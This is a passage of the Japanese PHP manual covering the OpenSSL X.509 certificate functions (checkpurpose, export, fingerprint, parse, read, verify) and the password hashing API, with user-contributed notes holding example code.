openssl_x509_checkpurpose ( OpenSSLCertificate|string $certificate , int $purpose , array $ca_info = [] , string|null $untrusted_certificates_file = null ) : bool|int

openssl_x509_checkpurpose() は証明書を調べ、 purpose で指定した目的に使用可能であるかどうかを確認します。

パラメータ

certificate

調べたい証明書。

purpose

openssl_x509_checkpurpose() の目的
定数 | 説明
X509_PURPOSE_SSL_CLIENT | この証明書を SSL 接続のクライアント側で使用できるか?
X509_PURPOSE_SSL_SERVER | この証明書を SSL 接続のサーバー側で使用できるか?
X509_PURPOSE_NS_SSL_SERVER | この証明書を Netscape SSL サーバーで使用できるか?
X509_PURPOSE_SMIME_SIGN | この証明書を S/MIME email で使用できるか?
X509_PURPOSE_SMIME_ENCRYPT | この証明書を S/MIME email の暗号化で使用できるか?
X509_PURPOSE_CRL_SIGN | この証明書を証明書取消リスト(CRL)にサインをする際に使用できるか?
X509_PURPOSE_ANY | この証明書をあらゆる用途に使用できるか?
これらのオプションはビットフィールドではありません。 指定できるのは一つだけです!

ca_info

ca_info は、証明書の認証 で説明したような信頼できる CA ファイル/ディレクトリの配列です。

untrusted_certificates_file

指定した場合は、これが証明書を含むPEMエンコードされたファイルの名前になります。 この証明書は、検証と証明を簡単化するために使用されます。 そのファイル内にある証明書は、信頼されない(untrusted)証明書とみなされます。

返り値

証明書が意図した目的に使用可能である場合に true、使用できない場合に false 、エラーの場合に -1 を返します。

変更履歴

バージョン | 説明
8.0.0 | certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 型のリソースを受け入れていました。
8.0.0 | untrusted_certificates_file は、nullable になりました。

User Contributed Notes

dingyuan at tencent dot com 11-Aug-2020 07:15
in one word ：if you set $purpose=0, you can use this function to verify certificate chain.

====================================================================

I want to verify a certificate chain. just like this:
userCert.pem => middleCert.pem => rootCert.pem

I figured that none of these openssl functions provide this function directly. And some friends have same need as me,  "mikey at badpenguins dot com" even write his own code to verify certificate chain(you can see notes below openssl_verify).

and I notice a note which has '-3' likes below openssl_verify, it says "validating an X509 certificate chain in php seems to be possible with openssl_x509_checkpurpose()", and I read the source code about this function, the given constant var about $purpose (like X509_PURPOSE_SSL_CLIENT ) is 1-7, and if you set $purpose among 1-7, you cannot verify the cert chain. Set $purpose=0 can get the truly result about verify a cert chain.

and I give that '-3' note a thumb-up, now it has -2 , lol.
adr at NOSPAM dot entropymatrix dot com 17-May-2013 04:24
The following is an example usage of openssl_x509_checkpurpose. It is equivalent to the openssl verify command as follows:
openssl verify -CApath $openssl_cadir -purpose sslserver $openssl_crtfile

<?php
$openssl_crtfile='auth.combined.pem';
$openssl_cadir='./ca';

$x509_res = openssl_x509_read(file_get_contents($openssl_crtfile));
if(empty($x509_res)) {
        echo 'x509 cert could not be read'."\n";
}
$valid = openssl_x509_checkpurpose($x509_res,X509_PURPOSE_SSL_SERVER,array($openssl_cadir));
if ($valid === true) {
        echo 'Certificate is valid for use as SSL server'."\n";
} else {
        echo 'Certificate validation returned'.$valid."\n";
}
?>
chaoszcat at gmail dot com 16-Aug-2012 04:05
Few days ago I dual boot my system into Windows 8 and play around with it, and then I boot it back to windows 7, and all of sudden this function fails by returning me 0 all the time.

Spent almost two hours digging google for no result, I almost end my research.

Then (I don't know why) I did a system time update (synchronize with time.nist.gov), and all of sudden, this function returns me 1 (true).

It's true that when I boot back to Windows 7 my time has been screwed by a few hours later than my current time, and I did a manual change on it. I doubt this has anything to do with this function?

Hope it helps.

Keywords: google discovery, openid, discovery
Platform: Windows 7 64bit, PHP 5.3.13


証明書をファイルにエクスポートする

  • ≪ openssl_x509_checkpurpose
  • openssl_x509_export ≫
  • PHP Manual
  • OpenSSL 関数
  • 証明書をファイルにエクスポートする

openssl_x509_export_to_file

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_x509_export_to_file — 証明書をファイルにエクスポートする

説明

openssl_x509_export_to_file ( OpenSSLCertificate|string $certificate , string $output_filename , bool $no_text = true ) : bool

openssl_x509_export_to_file() は、 PEM エンコード形式の certificate をファイル output_filename に保存します。

パラメータ

x509

使用できる値の一覧は キー/証明書パラメータ を参照ください。

output_filename

出力ファイルへのパス。

no_text

オプションのパラメータ notext を設定すると、出力内容の冗長性が変化します。false を指定すると、 人間が読むための追加情報が出力に含まれるようになります。 notext のデフォルト値は true です。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 型のリソースを受け入れていました。

User Contributed Notes

There are no user contributed notes for this page.


証明書を文字列としてエクスポートする

  • ≪ openssl_x509_export_to_file
  • openssl_x509_fingerprint ≫
  • PHP Manual
  • OpenSSL 関数
  • 証明書を文字列としてエクスポートする

openssl_x509_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_x509_export — 証明書を文字列としてエクスポートする

説明

openssl_x509_export ( OpenSSLCertificate|string $certificate , string &$output , bool $no_text = true ) : bool

openssl_x509_export() は、 PEM エンコード形式の certificate を文字列 output に保存します。

パラメータ

x509

使用できる値の一覧は キー/証明書パラメータ を参照ください。

output

成功した場合に、ここに PEM が格納されます。

no_text

オプションのパラメータ notext を設定すると、出力内容の冗長性が変化します。false を指定すると、 人間が読むための追加情報が出力に含まれるようになります。 notext のデフォルト値は true です。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 型のリソースを受け入れていました。

User Contributed Notes

There are no user contributed notes for this page.


与えられた X.509 証明書のフィンガープリントあるいはダイジェストを計算する

  • ≪ openssl_x509_export
  • openssl_x509_free ≫
  • PHP Manual
  • OpenSSL 関数
  • 与えられた X.509 証明書のフィンガープリントあるいはダイジェストを計算する

openssl_x509_fingerprint

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_x509_fingerprint — 与えられた X.509 証明書のフィンガープリントあるいはダイジェストを計算する

説明

openssl_x509_fingerprint ( OpenSSLCertificate|string $certificate , string $digest_algo = "sha1" , bool $binary = false ) : string|false

openssl_x509_fingerprint() は certificate のダイジェストを文字列で返します。

パラメータ

x509

使用できる値の一覧は キー/証明書パラメータ を参照ください。

digest_algo

"sha256" といったダイジェストメソッド、またはハッシュアルゴリズム。 有効な値の一覧は、openssl_get_md_methods() で得られます。

binary

true が設定された場合、生のバイナリデータを出力します。false では小文字の8進数を出力します。

返り値

binary が true に設定されていない場合、小文字の8進数として計算された証明書のフィンガープリントを含む文字列を返します。 binary が true に設定されている場合、メッセージダイジェストの生のバイナリ表現が返されます。

失敗したときは false を返します。

変更履歴

バージョン | 説明
8.0.0 | certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 型のリソースを受け入れていました。

User Contributed Notes

nb at dland dot de 14-Apr-2015 04:05
The manual is not constistent at this point. On one hand, it describes the return as digest/fingerprint of a cert, on the other hand it says:
bool openssl_x509_fingerprint( ... )

On PHP 5.6.5, I only get the bool return (1 or 0).


証明書リソースを開放する

  • ≪ openssl_x509_fingerprint
  • openssl_x509_parse ≫
  • PHP Manual
  • OpenSSL 関数
  • 証明書リソースを開放する

openssl_x509_free

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_x509_free — 証明書リソースを開放する

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

openssl_x509_free ( OpenSSLCertificate $certificate ) : void

openssl_x509_free() は、メモリから指定した certificate リソースに関連した証明書を開放します。

パラメータ

certificate

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | この関数は推奨されなくなりました。 なぜなら、実行しても何も起きなくなったからです。
8.0.0 | certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 型のリソースを受け入れていました。

User Contributed Notes

There are no user contributed notes for this page.


X509 証明書をパースし、配列として情報を返す

  • ≪ openssl_x509_free
  • openssl_x509_read ≫
  • PHP Manual
  • OpenSSL 関数
  • X509 証明書をパースし、配列として情報を返す

openssl_x509_parse

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_x509_parse — X509 証明書をパースし、配列として情報を返す

説明

openssl_x509_parse ( OpenSSLCertificate|string $certificate , bool $short_names = true ) : array|false

openssl_x509_parse() は、指定した certificate に関する情報を返します。この情報には 題名、発行者名、目的、発効日および有効期限等が含まれます。

パラメータ

certificate

X509証明書。正しい値の一覧は キー/証明書パラメータ を参照してください。

short_names

short_names は、配列中でのデータの添字付けの 方法を設定します。short_names が true の場合 (デフォルト)、フィールドは短縮型で添字が付けられます。そうでない場合、 長い名前が使用されます。例えば、CN は commonName の短縮型です。

返り値

返されるデータの構造については（わざと）まだ文書化していません。 これは、今後もデータの構造が変更される可能性があるためです。

変更履歴

バージョン | 説明
8.0.0 | certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 型のリソースを受け入れていました。

User Contributed Notes

Stilez 06-Jun-2016 04:12
The valid from/to info is returned twice, in two different formats. They can be converted to normal datetime objects like this:

$x509_data = openssl_x509_parse($cert);
date_create_from_format('ymdHise', $x509_data['validFrom'])->format('c');
date_create( '@' .  $x509_data['validFrom_time_t'])->format('c');
/* these give the same result */

To get a human-readable format directly (or any other formatted string) instead of a datetime object, use this:

date_create_from_format('ymdHise', $x509_data['validFrom'])->format('c');
or
date_create( '@' .  $x509_data['validFrom_time_t'])->format('c');

The same applies to validTo and validTo_time_t
s dot stok at rollerscapes dot net 28-Dec-2009 05:03
Alternative subjects can read as extensions.

[extensions]
            [subjectAltName] => DNS:*.cacert.org, DNS:cacert.org, DNS:*.cacert.net, DNS:cacert.net, DNS:*.cacert.com, DNS:cacert.com
koukopoulos at gmail dot com 17-Mar-2008 05:22
Re: the previous note: support for the x509v3 extensions was added in PHP 5.2. Also in PHP5 prior to 5.2.4 the values of the x509v3 extensions were not decoded and were returned in the DER binary representation. Therefore in order to read the contents of the v3 extensions you have to parse the relevant ASN.1 structures yourself.

For example if one needs to read an IA5STRING value in a private extension with the OID 1.3.6.1.4.1.7782.3.3 one can do :

<?php

/* parse a DER encoded representation
   of a IA5STRING of length < 127 */
function asn1der_ia5string($str)
{
    $len=strlen($str)-2;
    if ($len < 0 && $len > 127) {
        return false;
    }

    /* check tag and len */
    if (22 != (ord($str[$pos++]) & 0x1f) &&
    ord($str[$pos++]) != $len) {
    /* not a valid DER encoding of an IA5STRING */
    return false;
    }

    return substr($str, 2,  $len);
}
$cert = openssl_x509_parse($pemcert);
print (asn1der_ia5string($cert['extensions']['1.3.6.1.4.1.7782.3.3'])); // prints decoded ascii string

?>

In newer versions (>5.2.3) the extensions are returned in a 'readable format'. For example:

<?php print_r(openssl_x509_parse(...)); ?>
will result in
<?
Array
(
    [name] => /C=GR/O=SOMETHING/CN=ME/
    ...
    [extensions] => Array
        (
            [basicConstraints] => CA:FALSE
            [keyUsage] => Digital Signature, Non Repudiation, Key Encipherment
            [extendedKeyUsage] => E-mail Protection, TLS Web Client Authentication
            [nsCertType] => SSL Client, S/MIME
            ....
?>
zioproto at gmail dot com 13-Feb-2008 06:43
To read an extension from a X.509 certificate, you can proceed like this if you know the OID

//Read the certificate from file
$cert = file_get_contents('test.crt');
$ssl = openssl_x509_parse($cert);

$ext_value =  $ssl['extensions']['1.2.3.4.5.6'];
echo $ext_value

--------------------------------

Because the $ssl array is not documented, you can easily see its contents like this:

  //To print out all the array!
  print_r(array_values($ssl));
  print_r(array_keys($ssl));
nathanael at dihedral dot de 11-Aug-2006 06:02
When dealing with the purposes of a x509 crt file
the output of openssl_x509_parse gives an array with following for the purposes:
each new array ([purposes][1], [purposes][2] for example) is a new purpose check
I compared this output with the output of the command
# openssl x509 -purpose -in <x509crt_file>
the result i got was that
[purposes][x][2] quite obviously is the name of the purpose checked
[purposes][x][1] corresponds to the tested purpose (as named in [purposes][x][2]) acting as CA
[purposes][x][0] corresponds to the general availability of the purpose

[purposes] => Array
    (
        [1] => Array
            (
                [0] => 1
                [1] => 1
                [2] => sslclient
            )

        [2] => Array
            (
                [0] => 1
                [1] => 1
                [2] => sslserver
            )

        [3] => Array
            (
                [0] => 1
                [1] => 1
                [2] => nssslserver
            )

        [4] => Array
            (
                [0] => 1
                [1] => 1
                [2] => smimesign
            )

        [5] => Array
            (
                [0] => 1
                [1] => 1
                [2] => smimeencrypt
            )

        [6] => Array
            (
                [0] => 1
                [1] => 1
                [2] => crlsign
            )

        [7] => Array
            (
                [0] => 1
                [1] => 1
                [2] => any
            )

        [8] => Array
            (
                [0] => 1
                [1] => 1
                [2] => ocsphelper
            )

    )
maarten at xolphin dot nl 11-Feb-2005 02:00
At this time very useful X509 oids (like streetAddress, postalCode and others) are missing. You can find a list of them at http://www.alvestrand.no/objectid/2.5.4.html, I hope they get included to openssl-x509-parse soon.

Until then you can get these oids anyway like this:

<?
  function getOID($OID, $ssl)
  {
    preg_match('/\/' . $OID  . '=([^\/]+)/', $ssl, $matches);
    return $matches[1];
  }

  $cert = file_get_contents('test.crt');
  $ssl = openssl_x509_parse($cert);
  $Address = getOID('2.5.4.9', $ssl['name']);
  $ZipCode = getOID('2.5.4.17', $ssl['name']);
  $Postbox = getOID('2.5.4.18', $ssl['name']);
?>

The parseCert function from the Horde framework can be usefull for this too.
smgallo at buffalo dot edu 29-Oct-2004 11:15
The identifier for the email portion of certificates in the name and subject array have changed since PHP4.  In PHP 4.3.0 the following array was returned (displayed my print_r())

[name] => /O=Grid/O=Globus/O=CCR Grid Portal/OU=Portal User/CN=Test User/Email=test@nospam.buffalo.edu
[subject] => Array
(
   [O] => Grid/O=Globus/O=CCR Grid Portal
   [OU] => Portal User
   [CN] => Test User
   [Email] => test@nospam.buffalo.edu
...

The result in PHP5 is (note Email -> emailAddress):

[name] => /O=Grid/O=Globus/O=CCR Grid Portal/OU=Portal User/CN=Test User/emailAddress=test@nospam.buffalo.edu
[subject] => Array
(
   [O] => Grid/O=Globus/O=CCR Grid Portal
   [OU] => Portal User
   [CN] => Test User
   [emailAddress] => test@nospam.buffalo.edu
...

Of course, the manual DOES say this could happen.  :)


X.509 証明書をパースし、オブジェクトを返す

  • ≪ openssl_x509_parse
  • openssl_x509_verify ≫
  • PHP Manual
  • OpenSSL 関数
  • X.509 証明書をパースし、オブジェクトを返す

openssl_x509_read

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_x509_read — X.509 証明書をパースし、オブジェクトを返す

説明

openssl_x509_read ( OpenSSLCertificate|string $certificate ) : OpenSSLCertificate|false

openssl_x509_read() は、 certificate で指定した証明書をパースし、 その証明書用の OpenSSLCertificate オブジェクトを返します。

パラメータ

certificate

X509 証明書。有効な値の一覧は、 Key/Certificate parameters を参照してください。

返り値

成功した場合に OpenSSLCertificate オブジェクトを返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、この関数は OpenSSLCertificate クラスのインスタンスを返すようになりました。 これより前のバージョンでは、 OpenSSL X.509 型のリソースを返していました。
8.0.0 | certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 型のリソースを受け入れていました。

User Contributed Notes

marc theat nwd thedot mx 10-May-2011 09:58
To get the real timestamps as integer values for the validity daterange you can use as follows:

<?php
$data = openssl_x509_parse(file_get_contents('/path/to/cert.crt'));

$validFrom = date('Y-m-d H:i:s', $data['validFrom_time_t']);
$validTo ) date('Y-m-d H:i:s', $data['validTo_time_t']);

echo $validFrom . "\n";
echo $validTo . "\n";

?>
04-Jun-2003 09:32
After some tests I've been able to get some results this way ...

<?php

 $fp = fopen("/etc/httpd/conf/ssl/moncertif.crt", "r");
 $cert = fread($fp, 8192);
 fclose($fp);

echo "Read<br>";
echo openssl_x509_read($cert);
echo "<br>";
echo "*********************";
echo "<br>";
echo "Parse<br>";
print_r(openssl_x509_parse($cert));
/*
// or
print_r(openssl_x509_parse( openssl_x509_read($cert) ) );
*/

?>

enjoy
;)
anthony dot whitehead at rfv dot sfa dot se 03-Feb-2003 05:32
Short HOWTO for getting data out of a client certificate via an SSL enabled iPlanet (Netscape Enterprise or Sun ONE) web server.

The iPlanet server sets $_SERVER["CLIENT_CERT"] whenever a client authenticates with a certificate. This variable contains an encoded representation of the certificate presented by the client. This in itself is useless to scripts or applications, we need to extract the actual information from the encoding. It turns out that we are in luck, the encoding is NEARLY a standard PEM encoding which can be read by the openssl_x509_read() function. A standard PEM has a begin line, an end line and inbetween is a base64 encoding of the DER representation of the certificate. PEM requires that linefeeds be present every 64 characters, however this is already the case with our CLIENT_CERT variable. For some reason the iPlanet server neglects to attach the begin and end headers, all that is required to allow access to the certificate is replacing these headers. Here is a small code excerpt for doing just that and printing out the raw certificate data.

<?php
    $beginpem = "-----BEGIN CERTIFICATE-----\n";
    $endpem = "-----END CERTIFICATE-----\n";

    // Small function to print the data recursivly.
    function print_element($item, $key)
    {
        if( is_array( $item ) )
        {
            echo "$key is Array:\n";
            array_walk( $item, 'print_element' );
            echo "$key done\n";
        }
        else
            echo "$key = $item\n";
    }

    // Build the PEM string.
    $pemdata = $beginpem.$_SERVER["CLIENT_CERT"]."\n".$endpem;

    // Get a certificate resource from the PEM string.
    $cert = openssl_x509_read( $pemdata );

    // Parse the resource and print out the contents.
    $cert_data = openssl_x509_parse( $cert );
    array_walk( $cert_data, 'print_element' );

    // Free the resource
    openssl_x509_free( $cert );
?>


x509証明書のデジタル署名を公開鍵で検証する

  • ≪ openssl_x509_read
  • OpenSSLCertificate ≫
  • PHP Manual
  • OpenSSL 関数
  • x509証明書のデジタル署名を公開鍵で検証する

openssl_x509_verify

(PHP 7 >= 7.4.0, PHP 8)

openssl_x509_verify — x509証明書のデジタル署名を公開鍵で検証する

説明

openssl_x509_verify ( OpenSSLCertificate|string $certificate , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key ) : int

openssl_x509_verify() 関数は、 certificate 証明書が 公開鍵 public_key に対応する秘密鍵で署名されたかどうかを検証します。

パラメータ

x509

使用できる値の一覧は キー/証明書パラメータ を参照ください。

public_key

OpenSSLAsymmetricKey - openssl_get_publickey() で返された公開鍵

string - PEMエンコードされた鍵。"-----BEGIN PUBLIC KEY----- MIIBCgK..." のようなものです。

返り値

署名が正しければ 1 を。そうでなければ 0 を返し、 エラーが発生した場合は -1 を返します。

変更履歴

バージョン | 説明
8.0.0 | certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 型のリソースを受け入れていました。
8.0.0 | public_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

例

例1 openssl_x509_verify() の例

<?php
$hostname = "news.php.net";
$ssloptions = array(
    "capture_peer_cert" => true,
    "capture_peer_cert_chain" => true,
    "allow_self_signed"=> false,
    "CN_match" => $hostname,
    "verify_peer" => true,
    "SNI_enabled" => true,
    "SNI_server_name" => $hostname,
);

$ctx = stream_context_create( array("ssl" => $ssloptions) );
$result = stream_socket_client("ssl://$hostname:443", $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $ctx);
$cont = stream_context_get_params($result);
$x509 = $cont["options"]["ssl"]["peer_certificate"];
$certparsed = openssl_x509_parse($x509);

foreach($cont["options"]["ssl"]["peer_certificate_chain"] as $chaincert)
{
    $chainparsed = openssl_x509_parse($chaincert);
    $chain_public_key = openssl_get_publickey($chaincert);
    $r = openssl_x509_verify($x509, $chain_public_key);
    if ($r==1)
    {
        echo $certparsed['subject']['CN'];
        echo " was digitally signed by ";
        echo $chainparsed['subject']['CN']."\n";
    }
}
?>

参考

  • openssl_verify() - 署名を検証する
  • openssl_get_publickey() - openssl_pkey_get_public のエイリアス

User Contributed Notes

There are no user contributed notes for this page.


OpenSSLCertificate クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 OpenSSL X.509 リソースを置き換える完全不透明クラスです。

クラス概要

final OpenSSLCertificate {
}

User Contributed Notes

There are no user contributed notes for this page.


OpenSSLCertificateSigningRequest クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 OpenSSL X.509 CSR リソースを置き換える完全不透明クラスです。

クラス概要

final OpenSSLCertificateSigningRequest {
}

User Contributed Notes

There are no user contributed notes for this page.


OpenSSLAsymmetricKey クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 OpenSSL key リソースを置き換える完全不透明クラスです。

クラス概要

final OpenSSLAsymmetricKey {
}

User Contributed Notes

There are no user contributed notes for this page.


パスワードのハッシュ

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Password Hashing 関数
    • password_algos — 利用可能なパスワードハッシュアルゴリズムのIDを取得する
    • password_get_info — 指定したハッシュに関する情報を返す
    • password_hash — パスワードハッシュを作る
    • password_needs_rehash — 指定したハッシュがオプションにマッチするかどうかを調べる
    • password_verify — パスワードがハッシュにマッチするかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


はじめに

パスワードハッシュ API は crypt() および他のいくつかのパスワードハッシュアルゴリズムを 手軽に使えるようにしたラッパーで、 パスワードの作成や管理を安全な方法で行えます。

このモジュールが使えるのは PHP 5.5.0 以降ですが、PHP 5.3.7 以降で使える » ユーザーランドでの実装 もあります。

User Contributed Notes

There are no user contributed notes for this page.


要件

外部ライブラリを必要としません。

ただし、Argon2 パスワードハッシュの場合、» libargon2が必要です。 PHP 7.3.0 以降、libargon2 バージョン 20161029 以降が必要です。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP コアに含まれるため、 追加のインストール無しで使用できます。

ただし、Argon2 パスワードハッシュを有効にするには、--with-password-argon2[=DIR] オプションを使用して、 libargon2 サポートありにして PHP をビルドする必要があります。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数は、PHP コアに含まれており、常に利用可能です。

PASSWORD_BCRYPT (string)

PASSWORD_BCRYPT を使うと、 CRYPT_BLOWFISH アルゴリズムで新たなパスワードハッシュを作ります。

これは常に、"$2y$" crypt フォーマットを使ったハッシュになります。 長さは常に 60 文字です。

サポートするオプション

  • salt (string) - パスワードのハッシュに使うソルトを手動で設定します。 これは、自動生成されたソルトを上書きすることに注意しましょう。

    省略した場合は、パスワードをハッシュするたびに password_hash() がランダムなソルトを自動生成します。これは意図したとおりの操作モードです。 および PHP 7.0.0 以降でソルト・オプションは非推奨になりました。

  • cost (int) - 利用するアルゴリズムのコストを表します。 値の例については crypt() のページを参照ください。

    省略した場合のデフォルトは 10 です。この値でもかまいませんが、 ハードウェアの性能が許すならもう少し高くすることもできます。

PASSWORD_ARGON2I (string)

PASSWORD_ARGON2I を使うと、 Argon2i アルゴリズムで新たなパスワードハッシュを作ります。

サポートするオプション

  • memory_cost (int) - Argon2 ハッシュの計算に用いるメモリの最大値 (バイト数) を設定します。 デフォルトは PASSWORD_ARGON2_DEFAULT_MEMORY_COST です。

  • time_cost (int) - Argon2 ハッシュの計算にかける時間の最大値を設定します。 デフォルトは PASSWORD_ARGON2_DEFAULT_TIME_COST です。

  • threads (int) - Argon2 ハッシュの計算に用いるスレッド数を設定します。 デフォルトは PASSWORD_ARGON2_DEFAULT_THREADS です。

PHP 7.2.0 以降で利用可能です。

PASSWORD_ARGON2ID (string)

PASSWORD_ARGON2ID を使うと、 Argon2id アルゴリズムで新たなパスワードハッシュを作ります。 サポートされるオプションは、 PASSWORD_ARGON2I と同じです。

PHP 7.3.0 以降で利用可能です。

PASSWORD_ARGON2_DEFAULT_MEMORY_COST (int)

Argon2lib がハッシュの計算に用いるメモリのデフォルト値。

PHP 7.2.0 以降で利用可能です。

PASSWORD_ARGON2_DEFAULT_TIME_COST (int)

Argon2lib がハッシュの計算にかける時間のデフォルト値。

PHP 7.2.0 以降で利用可能です。

PASSWORD_ARGON2_DEFAULT_THREADS (int)

Argon2lib が用いるデフォルトのスレッド数。

PHP 7.2.0 以降で利用可能です。

PASSWORD_DEFAULT (mixed)

アルゴリズムを指定しなかったときのデフォルトとして使うアルゴリズム。 PHP のバージョンが上がるときに、 その時点でより強力なハッシュアルゴリズムに対応していればデフォルトが変わる可能性があります。

この定数の値は、今後変わる可能性がある (きっと変わる) ことに注意しましょう。 つまり、生成されるハッシュの長さも変わる可能性があるということです。 したがって、PASSWORD_DEFAULT を使う場合は、 ハッシュの格納先は 60 文字以上でも格納できるようにしておく必要があります (255 文字程度にしておくことをおすすめします)。

この定数の値

  • PHP 5.5.0 - PASSWORD_BCRYPT

変更履歴

バージョン | 説明
7.4.0 | パスワードのアルゴリズムのID (PASSWORD_BCRYPT, PASSWORD_ARGON2I, PASSWORD_ARGON2ID, PASSWORD_DEFAULT) は、string に変更されました。 これより前のバージョンでは、int でした。

User Contributed Notes

There are no user contributed notes for this page.


Password Hashing 関数

目次

  • password_algos — 利用可能なパスワードハッシュアルゴリズムのIDを取得する
  • password_get_info — 指定したハッシュに関する情報を返す
  • password_hash — パスワードハッシュを作る
  • password_needs_rehash — 指定したハッシュがオプションにマッチするかどうかを調べる
  • password_verify — パスワードがハッシュにマッチするかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


利用可能なパスワードハッシュアルゴリズムのIDを取得する

  • ≪ Password Hashing 関数
  • password_get_info ≫
  • PHP Manual
  • Password Hashing 関数
  • 利用可能なパスワードハッシュアルゴリズムのIDを取得する

password_algos

(PHP 7 >= 7.4.0, PHP 8)

password_algos — 利用可能なパスワードハッシュアルゴリズムのIDを取得する

説明

password_algos ( ) : array

登録済みのパスワードハッシュアルゴリズムのIDの完全な一覧を、 文字列の配列として返します。

パラメータ

この関数にはパラメータはありません。

返り値

利用可能なパスワードハッシュアルゴリズムのIDを返します。

例

例1 password() の基本的な使用法

<?php
print_r(password_algos());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => 2y
    [1] => argon2i
    [2] => argon2id
)

User Contributed Notes

XRevan86 26-Jul-2020 12:12
A polyfill for PHP 7.3 and older:
<?php
if (version_compare(PHP_VERSION, '7.4.0', '<')) {
    function password_algos(): array
    {
        $algos = [PASSWORD_BCRYPT];
        defined('PASSWORD_ARGON2I')  && $algos[] = PASSWORD_ARGON2I;
        defined('PASSWORD_ARGON2ID') && $algos[] = PASSWORD_ARGON2ID;
        return $algos;
    }
}
?>


指定したハッシュに関する情報を返す

  • ≪ password_algos
  • password_hash ≫
  • PHP Manual
  • Password Hashing 関数
  • 指定したハッシュに関する情報を返す

password_get_info

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

password_get_info — 指定したハッシュに関する情報を返す

説明

password_get_info ( string $hash ) : array

password_hash() がサポートするアルゴリズムで生成した有効なハッシュを渡すと、 そのハッシュに関する情報の配列を返します。

パラメータ

hash

password_hash() が作ったハッシュ。

返り値

三つの要素を持つ連想配列を返します。

  • algo には、そのハッシュの パスワードアルゴリズム定数 が含まれます。
  • algoName には、そのアルゴリズムの名前が含まれます。
  • options には、 password_hash() を呼んだときのオプションが含まれます。

User Contributed Notes

cbungholio at gmail dot com 31-Jul-2017 01:23
If you're curious to use this method to determine if there is someway to evaluate if a given string is NOT a password_hash() value...

<?php

// Our password.. the kind of thing and idiot would have on his luggage:
$password_plaintext = "12345";

// Hash it up, fuzzball!
$password_hash = password_hash( $password_plaintext, PASSWORD_DEFAULT, [ 'cost' => 11 ] );

// What do we get?
print_r( password_get_info( $password_hash ) );

/* returns:
Array (
    [algo] => 1
    [algoName] => bcrypt  // Your server's default.
    [options] => Array ( [cost] => 11 )
)
*/

// What about if it's un-hashed?...
print_r( password_get_info( $password_plaintext ) );

/* returns:
Array (
    [algo] => 0
    [algoName] => unknown
    [options] => Array ( )
)
*/
?>

... Looks like it's up to each of us to personally decide if it's safe to compare against the final returned array.
lincoln dot du dot j at gmail dot com 16-Jul-2017 07:59
<?php

$a= password_hash("rasmuslerdorf", PASSWORD_DEFAULT);

var_dump(password_get_info($a));
//change every refresh
var_dump($a);

?>

//Output like

array(3) {
  ["algo"]=>
  int(1)
  ["algoName"]=>
  string(6) "bcrypt"
  ["options"]=>
  array(1) {
    ["cost"]=>
    int(10)
  }
}
string(60) "$2y$10$wKEZs6W//QDoOeTKSCXx7.Y9Q7duFEtJpFFuJn1G5GhyWTTit/tL2"
hej at gustav dot tv 03-Apr-2014 11:14
<?php
var_dump(password_get_info($hash));
// Example
array(3) {
  ["algo"]=>
  int(1)
  ["algoName"]=>
  string(6) "bcrypt"
  ["options"]=>
  array(1) {
    ["cost"]=>
    int(10)
  }
}

?>


パスワードハッシュを作る

  • ≪ password_get_info
  • password_needs_rehash ≫
  • PHP Manual
  • Password Hashing 関数
  • パスワードハッシュを作る

password_hash

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

password_hash — パスワードハッシュを作る

説明

password_hash ( string $password , mixed $algo , array $options = ? ) : string|false

password_hash() は、強力な一方向ハッシュアルゴリズムを使って
新しいパスワードハッシュを作ります。
password_hash() は crypt() と互換性があるので、
crypt() が作ったパスワードハッシュは
password_hash() でも使えます。

現在、以下のアルゴリズムに対応しています。

